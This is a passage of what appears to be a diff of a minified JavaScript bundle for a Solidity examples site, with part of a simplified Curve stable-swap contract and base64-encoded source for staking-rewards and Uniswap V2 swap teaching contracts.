            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);

        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],fm=`

                    Simplified version of Curve's stable swap AMM

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5400,7 +5400,7 @@ Topics
         external
         returns (bool);
 }
-
                    `,Xm=({prev:s,next:a})=>r.jsx(A,{version:Bm,title:Gm,description:Vm,html:Ym,prev:s,next:a,codes:fm}),Rm="0.8.24",vm="Staking Rewards",Nm="Staking rewards contract based on Synthetix StakingRewards.sol",Hm=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludDI1NiBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQyNTYgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50MjU2IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3RhbCBzdXBwbHkpCiAgICB1aW50MjU2IHB1YmxpYyByZXdhcmRQZXJUb2tlblN0b3JlZDsKICAgIC8vIFVzZXIgYWRkcmVzcyA9PiByZXdhcmRQZXJUb2tlblN0b3JlZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkOwogICAgLy8gVXNlciBhZGRyZXNzID0+IHJld2FyZHMgdG8gYmUgY2xhaW1lZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyByZXdhcmRzOwoKICAgIC8vIFRvdGFsIHN0YWtlZAogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICAvLyBVc2VyIGFkZHJlc3MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkCiAgICAgICAgICAgICsgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkKICAgICAgICAgICAgICAgIC8gdG90YWxTdXBwbHk7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPiAwLCAiYW1vdW50ID0gMCIpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVhcm5lZChhZGRyZXNzIF9hY2NvdW50KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgKICAgICAgICAgICAgKAogICAgICAgICAgICAgICAgYmFsYW5jZU9mW19hY2NvdW50XQogICAgICAgICAgICAgICAgICAgICogKHJld2FyZFBlclRva2VuKCkgLSB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSkKICAgICAgICAgICAgKSAvIDFlMTgKICAgICAgICApICsgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50MjU2IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQyNTYgcmVtYWluaW5nUmV3YXJkcyA9IChmaW5pc2hBdCAtIGJsb2NrLnRpbWVzdGFtcCkgKiByZXdhcmRSYXRlOwogICAgICAgICAgICByZXdhcmRSYXRlID0gKF9hbW91bnQgKyByZW1haW5pbmdSZXdhcmRzKSAvIGR1cmF0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZShyZXdhcmRSYXRlID4gMCwgInJld2FyZCByYXRlID0gMCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHJld2FyZFJhdGUgKiBkdXJhdGlvbiA8PSByZXdhcmRzVG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLAogICAgICAgICAgICAicmV3YXJkIGFtb3VudCA+IGJhbGFuY2UiCiAgICAgICAgKTsKCiAgICAgICAgZmluaXNoQXQgPSBibG9jay50aW1lc3RhbXAgKyBkdXJhdGlvbjsKICAgICAgICB1cGRhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Fm=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    +`,Ym=({prev:s,next:a})=>r.jsx(A,{version:Wm,title:Bm,description:Gm,html:fm,prev:s,next:a,codes:Vm}),Xm="0.8.24",vm="Staking Rewards",Rm="Staking rewards contract based on Synthetix StakingRewards.sol",Nm=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludDI1NiBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQyNTYgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50MjU2IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3RhbCBzdXBwbHkpCiAgICB1aW50MjU2IHB1YmxpYyByZXdhcmRQZXJUb2tlblN0b3JlZDsKICAgIC8vIFVzZXIgYWRkcmVzcyA9PiByZXdhcmRQZXJUb2tlblN0b3JlZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkOwogICAgLy8gVXNlciBhZGRyZXNzID0+IHJld2FyZHMgdG8gYmUgY2xhaW1lZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyByZXdhcmRzOwoKICAgIC8vIFRvdGFsIHN0YWtlZAogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICAvLyBVc2VyIGFkZHJlc3MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkCiAgICAgICAgICAgICsgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkKICAgICAgICAgICAgICAgIC8gdG90YWxTdXBwbHk7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPiAwLCAiYW1vdW50ID0gMCIpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVhcm5lZChhZGRyZXNzIF9hY2NvdW50KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgKICAgICAgICAgICAgKAogICAgICAgICAgICAgICAgYmFsYW5jZU9mW19hY2NvdW50XQogICAgICAgICAgICAgICAgICAgICogKHJld2FyZFBlclRva2VuKCkgLSB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSkKICAgICAgICAgICAgKSAvIDFlMTgKICAgICAgICApICsgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50MjU2IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQyNTYgcmVtYWluaW5nUmV3YXJkcyA9IChmaW5pc2hBdCAtIGJsb2NrLnRpbWVzdGFtcCkgKiByZXdhcmRSYXRlOwogICAgICAgICAgICByZXdhcmRSYXRlID0gKF9hbW91bnQgKyByZW1haW5pbmdSZXdhcmRzKSAvIGR1cmF0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZShyZXdhcmRSYXRlID4gMCwgInJld2FyZCByYXRlID0gMCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHJld2FyZFJhdGUgKiBkdXJhdGlvbiA8PSByZXdhcmRzVG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLAogICAgICAgICAgICAicmV3YXJkIGFtb3VudCA+IGJhbGFuY2UiCiAgICAgICAgKTsKCiAgICAgICAgZmluaXNoQXQgPSBibG9jay50aW1lc3RhbXAgKyBkdXJhdGlvbjsKICAgICAgICB1cGRhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Hm=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    Code is a stripped down version of Synthetix StakingRewards.sol

                    Staking Rewards

                    // SPDX-License-Identifier: MIT
@@ -5547,7 +5547,7 @@ Topics
         external
         returns (bool);
 }
-
                    `,Km=({prev:s,next:a})=>r.jsx(A,{version:Rm,title:vm,description:Nm,html:Fm,prev:s,next:a,codes:Hm}),Mm="0.8.24",Sm="Uniswap V2 Swap",xm="Uniswap V2 swap",Jm=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0